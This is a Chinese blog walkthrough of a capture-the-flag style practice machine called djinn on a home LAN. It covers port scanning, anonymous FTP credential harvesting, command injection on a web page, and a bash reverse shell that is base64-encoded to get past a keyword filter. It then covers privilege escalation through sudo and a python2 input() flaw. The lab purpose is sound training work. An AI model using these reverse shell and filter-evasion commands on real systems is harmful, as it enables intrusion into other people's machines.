做一个靶机练习_djinn

前几天一直在背资料,背的很烦,找个靶机来玩玩.

第一件事,先找一下主机地址,由于我在自己的局域网内,我不用扫也知道这台刚开的主机 ip 是多少...但如果不知道的话,可以用 nmap 检测一下,sS 是指用半开放式扫描,不会完成三次握手,速度要快一点

sudo nmap -sS 192.168.1.0/24

扫描结果如下

Nmap scan report for djinn (192.168.1.8)
Host is up (0.00010s latency).
Not shown: 998 closed ports
PORT   STATE SERVICE
21/tcp open  ftp
22/tcp open  ssh
MAC Address: 08:00:27:70:26:B6 (Oracle VirtualBox virtual NIC)

现在拿到了靶机的 ip 地址,可以开始收集信息了,探测一下开放了哪些端口,先扫一万个试试,-O 参数可获取一些系统的指纹信息

sudo nmap -sS -O 192.168.1.8 -p1-10000

扫描结果如下

Nmap scan report for djinn (192.168.1.8)
Host is up (0.00027s latency).
Not shown: 9996 closed ports
PORT     STATE SERVICE
21/tcp   open  ftp
22/tcp   open  ssh
1337/tcp open  waste
7331/tcp open  swx
MAC Address: 08:00:27:70:26:B6 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop

扫出来了四个端口,一个个来,先看 ftp,用匿名登录试试。用户名:anonymous,无密码.登录成功.

Name (192.168.1.8:user): anonymous
331 Please specify the password.
Password:
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
200 PORT command successful. Consider using PASV.
150 Here comes the directory listing.
-rw-r--r--    1 0        0              11 Oct 20 23:54 creds.txt
-rw-r--r--    1 0        0             128 Oct 21 00:23 game.txt
-rw-r--r--    1 0        0             113 Oct 21 00:23 message.txt
226 Directory send OK.

分别把三个文件下载下来,查看信息

mget creds.txt game.txt message.txt
cat creds.txt
nitu:81299
cat game.txt
oh and I forgot to tell you I've setup a game for you on port 1337. See if you can reach to the 
final level and get the prize.
cat message.txt
@nitish81299 I am going on holidays for few days, please take care of all the work. 
And don't mess up anything.

game.txt 里说在 1337 端口有一个游戏,先访问一下试试
做一个靶机练习_djinn_第1张图片

gobuster dir -u http://192.168.1.8:7331 -w /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt

一小会就扫出来两个目录

/wish (Status: 200)
/genie (Status: 200)

访问一下 wish ,有个输入参数的地方,输入 id 试一下,可以执行命令
做一个靶机练习_djinn_第2张图片
现在要想办法反弹 shell 了。直接用bash -i >& /dev/tcp/192.168.1.9/2333 0>&1 试试。
报错 Wrong choice of words 。猜测可能是过滤了某些关键字,用 base64 编码看看能不能执行命令.
在 Linux 下生成将命令编码很简单:echo "id" | base64 ,输出aWQK,这就是 id 这个命令编码之后的结果了,然后再解码,执行:echo aWQK |base64 -d |bash
测试了一下,可以正常使用 echo,对反弹 shell 命令进行编码

echo "bash -i >& /dev/tcp/192.168.1.9/2333 0>&1" |base64

在本地监听 2333 端口nc -lvp 2333,把反弹命令放到浏览器中执行,成功获取到 shell(我当时测试是监听的 8899 ,都是一样的)
做一个靶机练习_djinn_第3张图片
这个反弹回来的 shell 有些命令不能执行,比如 su。。。不能切换用户,所以需要获取一个 pty。

python -c "import pty;pty.spawn('/bin/bash')"

提权

提权可以尝试找一找提权脚本来试试,我没有用,是慢慢的翻文件的。。。
在 nitish 用户目录下有个 user.txt 文件,但是没有权限打开, sam 用户目录直接就没有权限访问。
继续找,在 nitish 下的 .dev 目录里有个 creds.txt,输出一下

cat creds.txt
nitish:p4ssw0rdStr3r0n9

password???密码到手了?切换用户试试,nice,先看看 nitish 的 flag
10aay8289ptgguy1pvfa73alzusyyx3c
还没有拿到 root,还不能停下。
查一下有当前用户下有哪些命令可以一 root 执行
做一个靶机练习_djinn_第4张图片
可以,现在是 sam 了,再看一看有哪些可以以 root 执行的命令

Matching Defaults entries for sam on djinn:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User sam may run the following commands on djinn:
    (root) NOPASSWD: /root/lago

又来一个 /root/lago,再试试
做一个靶机练习_djinn_第5张图片
这后面的操作就跟我无关了,看大佬文章了,找到 .pyc 文件,反编译 pyc,然后是利用 python 的 input
在 sam 的用户目录下有个 .pyc 文件,查看文件可以知道这是 /root/lago 编译出来的,对 .pyc 反编译,然后利用 python2 里面的 input 特性,只要条件符合,就执行成功,所以直接输入 num 就行

def guessit():
    num = randint(1, 101)
    print 'Choose a number between 1 to 100: '
    s = input('Enter your number: ')
    if s == num:
        system('/bin/sh')
    else:
        print 'Better Luck next time'

做一个靶机练习_djinn_第6张图片

公众号:没有梦想的阿巧 后台回复 "群聊",一起学习,一起进步

你可能感兴趣的:(golang)